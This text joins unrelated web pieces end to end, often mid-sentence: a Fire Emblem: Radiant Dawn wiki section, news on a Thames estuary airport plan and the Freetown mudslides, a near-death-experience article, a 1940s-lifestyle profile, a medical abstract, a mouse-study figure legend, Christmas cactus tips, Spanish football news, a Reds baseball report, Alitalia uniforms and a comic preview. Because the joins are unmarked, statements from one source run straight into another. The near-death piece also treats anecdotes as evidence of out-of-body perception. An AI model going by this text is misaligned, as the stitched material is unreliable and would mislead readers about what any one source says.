of Crimean society. A Crimean noble named Ludveck takes advantage of the tension to organize a rebellion in order to claim Crimea for himself. Alerted to Ludveck's plan, the Crimean Royal Knights attack and capture Ludveck's castle. However, this is a diversion, and Ludveck's troops lay siege Elincia's castle, but they are repelled and Ludveck is captured. He attempts to force Elincia to release him by holding her friend Lucia hostage, but she is rescued by Ike and the Greil Mercenaries. Before Ike leaves, Elincia reveals the Black Knight's return in Daein. When Ike returns to his headquarters, he is hired by the Laguz Alliance, consisting of the hawk nation of Pheonicis, the raven nation of Kilvas, and the beast nation of Gallia. Their representative, Ranulf, explains that Rafiel has revealed that the Begnion senate was responsible for assassinating the previous apostle of Begnion and framing the heron clans for it, resulting in their near annihilation. This has led to the Laguz Alliance declaring war on Begnion. Ike leads the Alliance into battle against the Begnion forces, commanded by the veteran general Zelgius. The situation quickly escalates, threatening to become a world war that will awaken the god of chaos Yune who will supposedly destroy the world. Begnion coerces Daein into joining the war on their side with the blood pact and uses another blood pact to force Kilvas to betray the Laguz Alliance. Nailah and Prince Kurthnaga of the dragon nation of Goldoa learn of Daein's plight and also side with them. Meanwhile, Begnion begins raiding Crimean villages for supplies, drawing Crimea into the conflict on the Laguz Alliance's side, and Empress Sanaki escapes the senate's clutches and joins the Alliance along with the faction of Begnion soldiers loyal to her. A massive battle ensues, and the chaos begins to awaken Yune; Micaiah is forced to prematurely awaken her with the galdr of release. Yune's awakening also awakens the goddess of order Ashera.[7] As punishment for bringing the world into chaos, Ashera subsequently petrifies Tellius; only the most powerful warriors and human-laguz half-breeds survive. She decides that humankind is unworthy of survival and must be eradicated, and recruits the Begnion senate to this end. Guided by Yune, who sides with humanity, Ike, Micaiah, and King Tibarn of Pheonicis lead three groups in an assault on the Tower of Guidance where Ashera lies. Their journey brings about several revelations about the world and the previous conflicts. Ranulf reveals that the Black Knight's true identity is Zelgius; Izuka reveals that Pelleas was not Ashnard's son, but an unwitting dupe used to place Daein further under Begnion's thumb; Yune reveals that the old claim that human-laguz half-breeds are a crime against the goddess and the subsequent persecution against them are based on a lie. In the Tower of Guidance, the group kills the corrupt Begnion senators while Ike defeats Zelgius in a duel to the death. At the entrance to Ashera's chambers, the group encounters Sephiran, who reveals himself to be the ancient heron Lehran. Sephiran admits that the massacre of the heron clans destroyed his faith in humanity, and that he has since engineered both the Mad King's War and the Laguz-Begnion conflict in order to destroy the world. After defeating him, Yune empowers Ike with godlike power, and he defeats Ashera and restores peace to Tellius. In the aftermath, Micaiah learns that she is Sanaki's long-lost and presumed-dead older sister, but leaves to take the throne of Daein with the approval of Pelleas (if he survived) and the Daein citizenry. Ike departs the continent and is never seen again. Hundreds of years later, Yune and Ashera combine to again become the goddess Ashunera, creator of Tellius. On a second playthrough onward, Lehran can be spared and redeemed; in this case, he greets Ashunera and reveals that the continent is once again about to go to war, and Ashunera resolves to protect the people. Development [ edit ] By 2005, when Radiant Dawn's predecessor Path of Radiance was released, the Fire Emblem series had successfully established itself overseas first with the release of Fire Emblem for the Game Boy Advance and then Path of Radiance for the GameCube. The developers at Intelligent Systems wanted to continue the story of Path of Radiance on home consoles, but they decided not to release on the Gamecube as it was becoming a redundant system. Instead, as they had seen the Fire Emblem series' ability to sell hardware, they chose to develop the next title for the then-in-development Wii. Development began in May 2005, the same time the Wii was first announced under its codename "Revolution". The reason development began so early was because they wanted to release Radiant Dawn as close as possible to the console's release, so it would boost both hardware and software sales: this was the first time in the series' history the developers had attempted anything like that. They also decided to make it a Wii exclusive rather than making versions for both Wii and Gamecube, as the new graphics meant the game could not run on Gamecube. This in turn coincided with the decision to keep the series on home consoles rather than developing for the new portable Nintendo DS after its absence from them between the releases of Path of Radiance and Fire Emblem: Thracia 776.[9][10] The Wii's motion controls options were not implemented into the gameplay as it felt unnecessary to the design. Wi-Fi compatibility had been considered, with features such as downloadable battle maps and units, although difficulties relating to balance and difficulty prevented the idea from developing.[10] As with the previous game, the CGI cutscenes were created by Digital Frontier.[11] The staff numbers, including those working on the cutscenes, went from around one hundred for Path of Radiance to around 200 for Radiant Dawn: half the staff worked on the game itself, while the other half worked on the cutscenes. For the cutscenes, Digital Frontier were asked to show a more epic scope rather than just focusing on the characters, a trend from Path of Radiance the developers felt was wrong. All of the character movements in cutscenes were mapped using motion capture, with between 100 and 150 animations per character to implement.[9] The scenario was a continuation of the narrative of Path of Radiance, even though that game was not given an intentional cliffhanger ending.[9] So the story would be comprehensible for people who had not played Path of Radiance, the story was split up into four segments divided between the game's various factions. The team initially thought of a three-part structure, then settled on the current format. Their aim from the beginning was to create a large-scale, intricate world for players to enjoy. It was the first time the developers had incorporated such a structure into a Fire Emblem game.[9][10] The dialogue for characters was made slightly rougher based on feedback from Path of Radiance, where character dialogue remained calm and cultured even in battle situations. The total number of characters increased by approximately 1.5 times compared to Path of Radiance. So players could keep track of how characters interacted with each other, the team introduced a character relationship flow chart. The game's Japanese subtitle made reference to both a key character and the way Telleus came to be. They also wanted to continue to portray the themes of conflict explored in Path of Radiance. The game's thematic color, expressed in its artwork and presentation, was red, as opposed to the use of blue in Path of Radiance.[9] Senri Kita, the character designer for Path of Radiance, returned in that capacity for Radiant Dawn.[12] Reception [ edit ] Radiant Dawn holds a score of 78/100 on the review aggregator Metacritic, indicating generally favorable reviews.[13] GameSpot's Lark Anderson noted that, although players can save mid-battle, the difficulty "will easily overwhelm even experienced tacticians."[15] Eurogamer's Keza MacDonald appreciated the depth and refinement of the game, but proceeded to note a lack of accessibility due to greater complication and difficulty as Radiant Dawn progresses.[14] Some reviewers were also critical of the developers' choice not to use the Wii's motion controls,[14][18] although RPGamer's Bryan Boulette commented that "the game thankfully delivers a traditional experience that isn't changed just for the sake of changing it."[19] In general, critics praised the gameplay system recognized in previous Fire Emblem games, but noted that the game felt too similar to its GameCube predecessor, with ONM's Chandra Nair commenting that Radiant Dawn has "refused to move forward."[18] Hyper's Yuri Spadeface commends the game for its "deep strategy and for being hard". However, he criticises it for being "unforgiving", noting that it features "permanent death and is not really a Wii game".[20] Reviewers praised refinements of gameplay aspects present in Path of Radiance, such as the weapon forging system, which ONM thought was simpler to control in Radiant Dawn.[18] Despite this, other changes, such as those to the support system, were not as welcome, with GameSpot commenting that support conversations "have been reduced to mere battlefield chatter."[15] 1UP's Michael Donahoe praised the game's length and range of characters, but stated that the laguz "still aren't very useful."[21] Although Fire Emblem games have been praised for their plot and characterisation in the past, GameSpot described the story as "laughable" and the game's villains as clichéd and "one-dimensional."[15] Conversely, RPGamer lauded the alterations in perspective by use of different protagonists, which Boulette felt "makes the overall story feel so much broader and more expansive in scope."[19] The game's presentation received a mixed response, with IGN's Mark Bozon lauding the use of FMV and accompanying voice acting, although he commented that these were too infrequent, and that voice acting should have been used for the entirety of the game.[16] The game's music received a positive response, with GameSpy crediting the work of series composer Yuka Tsujiyoko as "Remarkably good."[22] However, multiple reviewers noted that the game's visuals were very similar to its predecessor's,[15][18] with GameSpot rating them as "little to no improvement graphically" from Path of Radiance.[15] GameSpy noted that the game's visuals "aren't mindblowing," but welcomed Radiant Dawn's interface and camera, stating that "A strategy game should often focus on function before form, but Radiant Dawn nails both."[22] References [ edit ] Notes [ edit ]Designs for 'Boris Island', the proposed multi-billion pound London airport in the Thames estuary have been revealed by Testrad, the consortium behind the project. The proposed six-runway airport championed by London mayor Boris Johnson would cost £47.3billion to build and would stretch out into the Thames. Testrad say the London Britannia Airport could be built within the next seven years and the island-based design, consisting of terminals built on reclaimed land, would avoid issues involved with other land based developments. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. Some of these problems they believe their design would avoid include demolishing houses and industrial infrastructure, and removing green airfield sites. In their plans unveiled to a conference the House of Lords yesterday, the consortium say: "This £47bn investment will reverse the polarity of London and facilitate regeneration of the Thames Gateway National Priority Area. "Employment opportunities in service, technology, engineering and myriad other industries will grow to serve existing historic Thames Estuary communities, and boost the regeneration of inner East London." A spokesperson also told the BBC that the design would avoid flying over densely populated areas of London and the South East, "removing completely the noise contours and impact which have bedevilled millions of people throughout and around London over the past 40 years”. Testrad said Heathrow may have to close if such an airport was opened, but they would be offering new opportunities for housing and employment, and the £47b cost would be made back from the sale of land and Heathrow closure. The unveiling of their plans comes as the Davies Airport Commission continues to review potential sites for airport capacity in the South East, such as additional runways at existing airports, according to the BBC. We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now3 Out-of-Body Experiences With Some Objective Verification Some people who have had close brushes with death report having left the physical body to float around and observe scenes in the direct vicinity of the body and sometimes further away, in the general region. In some cases, what they’ve seen can be verified; near-death experiences (NDEs) researchers then try to determine whether the person could have seen these events or objects through normal means, without having left the body. These provide some of the strongest evidence that these mystical experiences are not hallucinations. Cases in which the experiencers’ accounts are verifiable are known as veridical perceptions. Some include not only scenes observed in the world of our normal perception, but also conversations or encounters with beings on another plane of existence who tell the experiencer things that turn out to be true. Here are a few veridical perception cases of out of dozens compiled from the work of various researchers by Jan Holden, a counseling professor at North Texas University and long-time NDE researcher. While these few cases are outstanding, it’s the wealth of cases studied over more than 100 years that have a great cumulative impact on the researchers of NDEs. 1. Patient Observes Doctor’s Unusual Habit (Heart surgery image by TanyaRoss17/iStock/Thinkstock; background: Gile68/iStock/Thinkstock) Al Sullivan told his story at a meeting of the Connecticut chapter of the International Association for Near-Death Studies in 1990, two years after his NDE. During an emergency coronary bypass surgery at Hartford Hospital in Connecticut, he had the clear sensation of leaving his body. In a report he wrote, he said he “rose to an amphitheater-like place.” While seeing what appeared to be an otherworldly scene, including his brother-in-law and mother who had died, he was able to look back to this world and see his body with the chest opened up and his heart exposed. “I was able to see my surgeon, who just moments ago had explained to me what he was going to do during my operation. He appeared to be somewhat perplexed. I thought he was flapping his arms as if trying to fly.” It was this part of the account that startled Sullivan’s cardiologist Dr. Anthony LaSala, who had dismissed the rest of the story as a drug-induced hallucination. Dr. Hiroyoshi Takata indeed had a habit of “flapping” his elbows as Sullivan described, directing medical staff this way to avoid touching anything after he had scrubbed in. NDE researcher Dr. Bruce Greyson spoke with Dr. LaSala and Dr. Takata in 1997 to confirm the report. Dr. Takata said this is a habit of his. Dr. LaSala confirmed that Sullivan had told him this story and that Dr. Takata’s habit of flapping his arms this way is unsual, it is not something he has seen any other surgeon do. Greyson also verified that Sullivan would have witnessed this after the anesthesia had kicked in and he was, by all appearances, unconscious. 2. Seeing a Brother Not Yet Known to Have Died Silhouette image via Shutterstock Francis Power Cobbe recounted the following case in his 1882 book “The Peak in Darien” on page 297: “A dying lady, exhibiting the aspect of joyful surprise … spoke of seeing, one after another, three of her brothers who had long been dead, and then apparently recognized last of all a fourth brother, who was believed by the bystanders to be still living in India. The coupling of his name with that of his dead brothers excited such awe and horror in the mind of one of the persons present, that she rushed from the room. In due course of time letters were received announcing the death of the brother in India, which had occurred some time before his dying sister seemed to recognize him.” NDE researchers have compiled many cases of people not yet known to be dead appearing under similar circumstances. 3. Plane Crash Victim Sees What He Could Not Have From Where His Body Lay A file photo of a WWI-era plane. (Shutterstock) A medical officer, Dr. X, was stationed in France during WWI and was flying to the aid of a wounded pilot. Not long after taking off, the doctor’s plane crashed. The crash site could not be seen from the hangars and the hangars likewise could not be seen from the crash site, because they were separated by the crest of two slopes. The doctor’s own words were recounted by Lieutenant-Colonel Frederick John Marrian Stratton, a professor of astrophysics at the University of Cambridge Stratton in a 1957 article titled “An Out-of-the-Body Experience Combined With ESP,” published in the Journal of the Society for Psychical Research: “While I was up above my body, it did not seem in the least queer that I could see … a number of activities at the hangars … The Crossley tender [an ambulance] started out of the hangar in which it was garaged. When about a car or a car-and-a-half length outside the hangar, the engine stalled, and I saw the chauffeur jump out and pull the starting handle. Then he raced back to his driving seat and started off towards the crash over the crest. “While this small episode was occurring my medical orderly had rushed out of my nearby medical hut, and jumped into the back of the Crossley tender. The ambulance, or tender, then stopped again, but this time it was the medical orderly who jumped out, rushed into the medical hut, and came out with something extra, and jumped into the ambulance, which then resumed its twice-interrupted journey.” Dr. X told all of this to his commanding officer at the hospital after recovering enough to realize the significance of what he’d seen. The officer recorded it and verified that the ambulance journey did in fact begin this way. By the time Stratton investigated this case, the commanding officer and others who could have re-verified the information had either died or could not be traced, wrote Bruce Greyson, Ian Stevenson, and Emily Williams Cook in an article titled “Do Any Near-Death Experiences Provide Evidence for the Survival of Human Personality After Death?” published in the Journal of Scientific Exploration in 1998. ALSO SEE: Pilot Crashes, Sees Own Body Hanging in Trees: Near-Death Experience Follow @TaraMacIsaac on Twitter, visit the Epoch Times Beyond Science page on Facebook, and subscribe to the Beyond Science newsletter to continue exploring the new frontiers of science!Ottoman admiral Not to be confused with
Israel is also planning to send medical aid. Photo: AP The ministry said the relief effort was being spearheaded by the Israeli Embassy in Senegal. The Red Cross estimates that 600 people are still missing as the death toll from massive mudslides in Sierra Leone’s capital is certain to rise. Bodies have begun washing up on a beach in Freetown. Workers continue to search for an untold number of people buried in their homes. Authorities say more than 300 people were killed in and around Freetown on Monday following heavy rains. Many were trapped under tons of mud as they slept. Initial Red Cross estimates have said as many as 3,000 people are left homeless and the figure is expected to rise. Photo: AFP The mortuary at Connaught Hospital in central Freetown has been overwhelmed by the number of dead, with bodies spread out on the floor. An estimated 9,000 people have been affected in some way by the disaster, said Abdul Nasir, program coordinator for the International Federation of Red Cross and Red Crescent Societies.The mother-of-three living in a 1940s timewarp: Psychiatric nurse transforms her home, car and wardrobe into bizarre shrine to her favourite decade Forensic psychiatric nurse Christine Edun, 55, lives in Formby, Merseyside She has dressed and lived as if she lives in the 1940s since she was 16 Husband Ray supports her, and even attends Forties tea dances Children Jay, 28, and twins Yvette and Gemma, 25, also support her She and Ray have spent thousands restoring an original 1946 Rolls Royce She has launched a business selling Forties underwear, Femme Fatale A mother-of-three has completely shunned modern life in favour of 1940s glamour, ensuring her clothes, house, car, food, and even her friends match the style of the era. Forensic psychiatric nurse Christine Edun, 55, who lives in Formby, Merseyside, has dedicated her whole life to emulating the style of the decade since she was a teenager, when she began spending hours scouring vintage markets looking for authentic pieces of clothing from the decade. Christine loved the style of the fashion, the music and the films, and though her childhood obsession started with dresses and handbags, when she moved into her own home Christine started looking for 1940s style furniture, and now says her house is like a treasure trove for vintage goods. Christine Edun from Formby, Merseyside is a 55-year-old psychiatric nurse who loves the 1940s so much that she only ever wears vintage clothes Christine has spent her entire life scouring vintage markets and antique shops in order to dress and live in a way that harks back to the 1940s She and her supportive husband Ray have even spent thousands restoring an original 1946 Rolls Royce. And she has now launched a business selling Forties underwear. Her family, including husband Ray, 58, and grown up children Jay, 28, and twins Yvette and Gemma, 25, support her lifestyle but it is just Christine who shuns the 21st Century. She even wears 1940s period clothing at work. And when she comes home she walks into her 1940s home, slips into her vintage underwear and 1940s clothing, and is suddenly transported back to the decade she adores. She says she feels as though she is living in a time warp and her home, in Formby, Merseyside, is a safe haven away from the complications of modern life. She doesn't even mind that she sometimes gets 'funny looks in the pub'. When she comes home she walks into her 1940s home, slips into her vintage underwear and 1940s clothing, and is suddenly transported back to the decade she adores 'When I left school and started earning money, I started going around vintage markets and looking for one-off pieces. I wanted to look different to the rest of my friends and I started collecting really special pieces' Every morning Christine sits at her Edwardian dressing table and fixes her hair in classic 1940s Victory rolls and keeps her make up looking retro with foundation, powder and red lipstick. Christine and her husband Ray a mechanical marine engineer, have started attending vintage inspired events, such as lindy-hop tea dances And the obsession doesn't end at clothes and home furnishings. Christine and her husband Ray a mechanical marine engineer, have started attending vintage inspired events, such as lindy-hop tea dances, where they have met couples just like themselves who turned up dressed head-to-toe in vintage finery. Every morning Christine sits at her Edwardian dressing table and fixes her hair in classic 1940s Victory rolls and keeps her make up looking retro with foundation, powder and red lipstick Every morning Christine sits at her Edwardian dressing table and fixes her hair in classic 1940s Victory rolls and keeps her make up looking retro with foundation, powder and red lipstick Christine said: 'I was born in 1958 in London. My dad was bombed out of his home in West Ham during the war so the realities of the decade were very real to my family. 'I'd always admired the traditional dresses with nipped in waists and delicate stockings. The clothes were just so smart and stylish' 'It was a time when people worked together to get through the depression. People worked together to get up on their feet after the war. It showed what the British were made of. 'I love the gentility of the period. Men would hold doors open for women, and the clothes women wore were so feminine and pretty. 'I'd always admired the traditional dresses with nipped in waists and delicate stockings. The clothes were just so smart and stylish.' 'I'd always admired the traditional dresses with nipped in waists and delicate stockings. The clothes were just so smart and stylish' Christine loves the fine underwear of the Forties that she has launched her own business selling beautiful pieces online, Femme Fatale But it was only when Christine began earning her own money that her obsession could really take off. 'When I left school and started earning money, I started going around vintage markets and looking for one-off pieces,' she said. 'I wanted to look different to the rest of my friends and I started collecting really special pieces. 'The vintage knickers, camis, corsets, stockings and suspenders are so feminine and they feel so beautiful under your clothes' 'I wear my hair in Victory Rolls and stick to foundation, powder and red lipstick. 'One of my favourite parts of dressing the way I do is the lingerie and nightwear, and I have even launched my own business selling beautiful underwear online called Femme Fatale. 'The vintage knickers, camis, corsets, stockings and suspenders are so feminine and they feel so beautiful under your clothes. 'The nightwear is also so beautiful. I have gorgeous silk dressing gowns that make me feel like an on-screen goddess!' The exterior of Christine's house, inside of which is her treasure trove of 1940s memorabilia Christine and her husband Ray a mechanical marine engineer, have started attending vintage inspired events, such as lindy-hop tea dances, where they have met couples just like themselves 'A lot of our friends we meet up with at weekends also dress in 1940s clothes. Sometimes we get some funny looks in the pub, but we just love to embrace the bygone era' Christine, left, in her Forties gear on a night out in Merseyside with friends And as for her best vintage buy? 'A lot of our friends we meet up with at weekends also dress in 1940s clothes. Sometimes we get some funny looks in the pub, but we just love to embrace the bygone era' 'My favourite ever vintage buy is a 1940s suit. I bought it from a dealer about 2 years ago. 'We even go to 1940s style events such as fairs and dances. We do the jive, the lindy-hop and have met similar couples to ourselves in doing so. 'A lot of our friends we meet up with at weekends also dress in 1940s clothes. Sometimes we get some funny looks in the pub, but we just love to embrace the bygone era.' Some of Christine's antique collection Some of the antiques Christine has picked up in antique shops and markets since she began collecting at the age of 16Welcome to An Emerald Randomizer Nuzlocke Run Just a Nuzlocke run of Emerald. BUT I am using the Randomizer, so things shall get interesting. I know lots of people are doing runs of this, so if you don't like mine, check out Rebbaw's (which is way better). :D Here's the link: http://rebbaws-re-nuzlocke.smackjeeves.com/comics/1415052/littleroot-town/ Just a Nuzlocke run of Emerald. BUT I am using the Randomizer, so things shall get interesting. I know lots of people are doing runs of this, so if you don't like mine, check out Rebbaw's (which is way better). :D Here's the link: http://rebbaws-re-nuzlocke.smackjeeves.com/comics/1415052/littleroot-town/ Latest Comic: New comics will be posted on DA from now on. Visit the gallery here: http://sdlhf.deviantart.com/gallery/38008167. Thanks! posted by Sdlhf10 @ July 6th, 2012, 3:23 pm 0 comments Okay people, here's just a quick message to say that if I don't get a comic up today, you will see a comic up on the weekend. Kat out! posted by Sdlhf10 @ April 12th, 2012, 5:53 pm 0 comments Alright people, I gave up Pokemon for Lent. Pretty much every day I play Pokemon, so I'm giving it up. Hopefully it will let me have more time to pray and think about my faith. So yeah, An Emerald Randomizer Run is not going to be updated until after Easter, in case anyone cares. :P posted by Sdlhf10 @ February 22nd, 2012, 9:29 pm 0 comments Alright, just got this site up! I hope you find this easier to read than searching through my reddit posts trying to find the previous comic. :P Tell me what you think! posted by Sdlhf10 @ February 19th, 2012, 7:10 pm 0 comments Old News Archive » Hosted by SmackJeeves · Design by EnkidaOBJECTIVE: We systematically reviewed the evidence of an association between male circumcision and penile cancer. METHODS: Databases were searched using keywords and text terms for the epidemiology of penile cancer. Random effects meta-analyses were used to calculate summary odds ratios (ORs) and 95% confidence intervals (CI). RESULTS: We identified eight papers which evaluated the association of circumcision with penile cancer, of which seven were case-control studies. There was a strong protective effect of childhood/adolescent circumcision on invasive penile cancer (OR = 0.33; 95% CI 0.13-0.83; 3 studies). In two studies, the protective effect of childhood/adolescent circumcision on invasive cancer no longer persisted when analyses were restricted to boys with no history of phimosis. In contrast, there was some evidence that circumcision in adulthood was associated with an increased risk of invasive penile cancer (summary OR = 2.71; 95% CI 0.93-7.94; 3 studies). There was little evidence for an association of penile intra-epithelial neoplasia and in situ penile cancer with circumcision performed at any age. CONCLUSIONS: Men circumcised in childhood/adolescence are at substantially reduced risk of invasive penile cancer, and this effect could be mediated partly through an effect on phimosis. Expansion of circumcision services in sub-Saharan Africa as an HIV prevention strategy may additionally reduce penile cancer risk.Figure 1 Single dose of ganaxolone (GAN, 30 mg/kg) increased the α-amino-3-hydroxy-5-methyl-4-isoxazole propionic acid (AMPA)/N-methyl- D -aspartate (NMDA) receptor current ratio and the rectification index in ventral tegmental area (VTA) dopamine (DA) neurons of midbrain slices obtained ex vivo 1–6 days after the drug administration. (a) Locomotor activity after acute injection of GAN (10 mg/kg, n=17; and 30 mg/kg, n=24) and vehicle control (n=30) in 3–4-week-old Th-EGFP mice. The data are given as the mean distance travelled for 15-min periods preceding the time points (SEM values are within the symbols). (b) Cumulative locomotor activity (mean+SEM) for 60 min after injection for the mice is shown in a. P<0.05 for significance of difference from the vehicle group. (c) Examples of AMPA and NMDA receptor-mediated current traces for vehicle- and GAN (30 mg/kg)-treated young transgenic Th-EGFP mice observed 24 h after the injection. (d) Time course of the effects of vehicle and GAN (10 and 30 mg/kg) administration on AMPA/NMDA ratios of VTA DA neurons is shown as mean bars+SEM (n=7–11 mice), the effect by the higher GAN dose persisting at least 6 days after the injection. (e) Representative AMPA receptor-mediated current traces in the VTA DA neurons recorded at −70 and +40 mV 24 h after vehicle and GAN (30 mg/kg) administrations in Th-EGFP mice, in the presence of spermine in the recording pipette solution. Decreased currents at +40 mV after GAN suggest increased rectification because of insertion of new GluA2-lacking AMPA receptors. (f) Time course of the effects of vehicle and GAN (10 and 30 mg/kg) administration on the rectification index (response at −70 mV/response at +40 mV) of VTA DA neurons is shown as mean bars+SEM (n=9–11 mice), indicating persistence of the effect for at least 6 days. P<0.05, P<0.01, P<0.001 (ANOVA with Bonferroni test or Student's t-test).Christmas Cactus plants are one of my favorite types of succulents, it is a lovely flowering cactus that is actually originates from the forest, not the desert (despite its name)! If you have ever seen one in bloom, then you will understand why it is one of the most popular types of succulent. But actually getting it to bloom when you want it to can be quite the task, that is unless you know the three simple steps to follow to get your Christmas Cactus (Schlumbergera truncata) to bloom. The 3 Steps To Get Your Christmas Cactus To Bloom We all have those occasions where we want our garden to look its best, for all the feature plants to be in bloom and for everything to look nice and healthy. Luckily, there are a few easy steps you can follow to get your Christmas Cactus to bloom when it suits you. You just need to create the right environment for the Christmas Cactus to get those flowers out in the open. View the infographic below or choose from the contents to jump to more detail. Step 1 – Reduce/Limit Watering The first thing you need to do is reduce the amount of water you are giving your Christmas Cactus. Wait until the top inch of soil around the succulent is dry before watering it, and then you only want to give it enough water to get the soil slightly damp. Step 2 – Reduce Light Received Now we all know that plants like light, well not really in this case. To get the Christmas Cactus to bloom you need to place it in darkness for 12-14 hours a day (overnight), and when I say darkness…I do mean dark – as little indirect light as possible is best. For the rest of the day it is OK to place the plant in bright, indirect light. This practice encourages bud development and is probably the most important step. Step 3 – Reduce Environment Temperature The third step is to keep the Christmas Cactus cool, you want the temperature to average out to about 50-55 degrees F across the day. So make sure the location where you are keeping your plant is within this temperature range. You will want to keep this up until buds have formed on your plant. How Long Does It Take A Christmas Cactus To Bloom? Using the method listed above it should take your Christmas Cactus about 6-8 weeks for buds to form, after the buds are formed it can take another 4 weeks for them to bloom into flowers. How To Care For a Christmas Cactus In Bloom Once the buds have formed you will need to move it to a draft-free area with indirect sunlight. Drafts can cause the buds to fall off, and direct sunlight can cause your plant to look sad and droopy! You can also now increase the water the plant receives again, just be sure to adjust your watering depending on the local environment and by following general succulent care guidelines. Enjoy Your Christmas Cactus So there you go! It really is not that hard hey? It just take a little time and some love and care. So go ahead and try it on your plant the next time you have a special occasion. Oh and a final hint, if you actually want your Christmas Cactus to flower for Christmas….you will want to start in early October 😉 Photo Credits: AllieKF VisualHunt Share this post! Related postsMéxico DF 17:23h CDT El Benfica de Portugal adquirió el 50% de la carta de Raúl Jiménez por aproximadamente tres millones de euros, con lo que el mexicano jugará para las Águilas la próxima temporada. Según informó a AS México la oficina del representante portugués, la escuadra lusa compró el porcentaje que le pertenecía al agente Jorge Mendes y el Atleti seguirá siendo dueño de la mitad que siempre le ha pertenecido. Además, el Benfica sólo pagará un porcentaje de su salario que será al rededor de 1 millón de euros, el resto lo seguirá pagando el equipo español. Hasta el medio día de este viernes, el ex delantero del Atlético de Madrid estaba decidido a jugar con el West Ham de la Premier League, pero fue convencido por Mendes para jugar con el Benfica, ya que el equipo londinense fue eliminado ayer de la Europa League, mientras que los portugueses jugarán la Champions League.Dusty Baker visits Reds in San Diego Then-Reds manager Dusty Baker smiles during batting practice in August 2013. (Photo: File) SAN DIEGO — As the Reds came out of the clubhouse and onto the Petco Park field before Tuesday's game against the Padres, there was a familiar face greeting them – former manager Dusty Baker. Baker, who was in town with his wife, Melissa, and son, Darren, for a baseball tournament, stopped in to see the Reds for the first time in person since he was fired following the 2013 season. Baker doled out smiles and hugs, as player after player also embraced him. Baker said he'd watched the Reds and followed the team on TV, but it was the first time he'd seen many of the players since the loss to the Pirates in the wild card game. "I raised half of them – but half the team's not here. In a short bit of time, they've had quite a bit of turnover," Baker said. "My son's have been out here, he came to San Francisco last year. He was really excited that we'd be in town for his tournament, he said, 'Dad, let's go to the stadium.' He wanted to see Brandon (Phillips) and Joey (Votto) and Jay (Bruce) and Billy (Hamilton) and (Todd) Frazier and all the guys. Some of them still stay in contact with them from time-to-time. These guys helped raise him. When he was with us, I wasn't worried about him being led down the wrong path, because I know these guys are good guys and they genuinely took care of my son." Darren, now 16, is playing baseball. Baker himself is still involved in the game, too: He recently coached in a youth tournament in Long Island and also worked with Major League Baseball with its RBI (Reviving Baseball in Inner Cities) program. Baker also has a wine business and has gotten involved in the solar energy business, as well. "My wife thinks I'm working too hard," Baker said. "My son says, 'Don't work so hard, get some rest.' But that's all I know: work." As for his departure from the Reds, that's not something he is interested in talking about — it's in the past. For Tuesday, he was just happy to see old friends. "Some things don't change. We all get older, there's water under the bridge, but you just let bygones be bygones and live," Baker said. "That's what it's all about, living your life and being happy. I was pretty good to the game and the game was great to me." HAMILTON’S PROGRESSION: Reds center fielder Billy Hamilton has continued to struggle in his second big-league season, hitting.221/.267/.281 this season. Despite his struggles, Reds manager Bryan Price said Hamilton will continue to play nearly every day. “For me, I have to look at the whole package and what he provides from a defensive standpoint is significant for him to continue to be out there and get regular playing time,” Price said. “What he does on the bases, when he is on the bases, is big. And he’s 24, and I certainly anticipate him becoming a more effective offensive player. That being said, he hasn’t reached the bar we’ve set for him or he’s set for himself. Going into the offseason, there will certainly be a plan and approach, and I think gaining some strength and really being able to manipulate the bat a little bit differently is going to be an important part of his maturity as a hitter.” Hamilton has talked about the possibility of giving up switch-hitting, but Price said the organization hasn’t discussed that at this point, as far as he knows. MARSHALL PLAN: Left-hander Sean Marshall threw his third bullpen on Tuesday and will threw again in three days. For now, that will be the plan, Price said. Marshall underwent shoulder surgery in May that was initially expected to end his season, if not his career. After the surgery, however, doctors said there was a chance he could pitch again this season. “We have a template, and that template is every third day bullpen right now,” Price said, adding they aren’t looking beyond that at this time. MINOR TRADE: Tuesday the Reds sent Triple-A starter Matt Buschmann to the Orioles in exchange for cash considerations. The right-hander was 2-5 with a 4.25 ERA for the Bats. The Reds signed him June 19, two days after he was released by the Rays. Read or Share this story: http://cin.ci/1NoHLvhSHARE THIS ARTICLE Share Tweet Post Email Photographer: Simon Dawson/Bloomberg Photographer: Simon Dawson/Bloomberg Alitalia SpA, the bankrupt Italian airline searching for a rescuer, will get new uniforms designed by one of Italy’s most prominent stylists, the second re-branding in two years. The airline, which is on state support, said Wednesday that Alberta Ferretti will renew the company’s look "to ensure that all personnel, both ground and flight staff, is comfortable in each working environment and throughout any season." The design collaboration comes at no cost to Alitalia, the carrier said in a statement. This is the second time in as many years that Italy’s main carrier is re-designing its clothing line. The previous collection, designed by Ettore Bilotta, was presented in June 2016 and inspired by 50s and 60s style. The Rome-based airline company was declared insolvent May 11 after losing 205 million euros ($243 million) in the first two months of the year and is currently in talks with a number of foreign investors interested in acquiring parts of its business. The state last month extended the deadline for bids to April from November and agreed to pump an additional 300 million euros into the airline through a bridge loan to keep it afloat. Deutsche Lufthansa AG, EasyJet Plc and Cerberus Capital Management LP are among the entities that have reportedly shown interest. This is the second time in a decade that Alitalia has sought to attract an international partner after filing for bankruptcy.We’ve got your first look at Valiant’s X-O Manowar #47 by Robert Venditti and artists Joe Bennett and Robert de la Torre. X-O Manowar #47 begins the “Long Live The King” story arc as Aric of Dacia, heir to the throne of the Visigoth Empire, is raised under the oppressive thumb of the Roman EMpire in fifth-century Europe. His entire existence was spent fighting a never-ending insurgency against history’s most brutal empire…until a far more terrifying enemy revealed itself and changed his destiny forever. Aric was abducted by a brutal race of extraterrestrials known as as the Vine. He was torn from his family, his people, and his nation and forced into slavery on an alien world. He spent years plotting his escape until the day came when he was able to seize a weapon of incalculable destruction, a sentient suit of alien armor, and become X-O Manowar. More from Bounding Into Comics He returned to Earth only to find that 1,600 years had passed during his journey across the stars. He worked in concert with Earth’governments and other super-powered heroes to defend the planet and broker peace amongst the powerful. He was even able to rebuild his kingdom from the ashes of history. Now in “Long Live The King,” Aric faces an unthinkable new foe far more terrible than any that have come before… They are The Torment – and their name means death. Thought to be a legend by the Vine, they have now become Earth’s violent reality. As old as the universe itself, they have traveled for eons to reach us…in search of Aric of Dacia and the unstoppable X-O Manowar armor. Can Aric challenge a seemingly omnipotent threat with motives beyond the comprehension of mortal men? Will the armor truly be our world’s salvation, just as the Vine’s myths foretold? And is this the beginning of the end for X-O Manowar – or the 